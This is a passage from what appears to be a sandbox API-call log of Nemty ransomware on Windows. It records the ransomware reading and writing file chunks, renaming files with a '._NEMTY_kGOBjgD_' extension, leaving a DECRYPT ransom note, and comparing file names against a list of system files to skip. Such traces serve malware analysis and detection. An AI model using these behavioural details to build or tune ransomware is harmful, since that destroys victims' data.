[0098.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.092] CloseHandle (hObject=0xffffffff) returned 0 [0098.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0098.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941f8 [0098.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.092] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax._nemty_kgobjgd_")) returned 0 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.093] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="..") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="...") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="windows") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="$RECYCLE.BIN") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="rsa") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="NTDETECT.COM") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="ntldr") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="MSDOS.SYS") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="IO.SYS") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="boot.ini") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="boot.ini") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="AUTOEXEC.BAT") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="ntuser.dat") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="desktop.ini") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="CONFIG.SYS") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="RECYCLER") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="BOOTSECT.BAK") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="bootmgr") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="programdata") returned 1 [0098.093] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="appdata") returned 1 [0098.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0098.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll", lpUsedDefaultChar=0x0) returned 12 [0098.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0098.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll", lpUsedDefaultChar=0x0) returned 12 [0098.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0098.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll", lpUsedDefaultChar=0x0) returned 12 [0098.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0098.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMM2CLIP.dll", lpUsedDefaultChar=0x0) returned 12 [0098.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0098.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0098.094] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2417330, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0098.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0098.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0098.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0098.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0098.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0098.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0098.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0098.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0098.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0098.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0098.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0098.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0098.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0098.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.095] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2417330, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0098.095] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0098.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0098.095] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbda9d7f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbda9d7f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2="...") returned 1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2="$RECYCLE.BIN") returned 1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2="rsa") returned -1 [0098.095] lstrcmpiW (lpString1="Internet Explorer", lpString2="NTDETECT.COM") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntldr") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSDOS.SYS") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="IO.SYS") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot.ini") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot.ini") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="AUTOEXEC.BAT") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="desktop.ini") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="CONFIG.SYS") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="RECYCLER") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="BOOTSECT.BAK") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="programdata") returned -1 [0098.096] lstrcmpiW (lpString1="Internet Explorer", lpString2="appdata") returned 1 [0098.096] 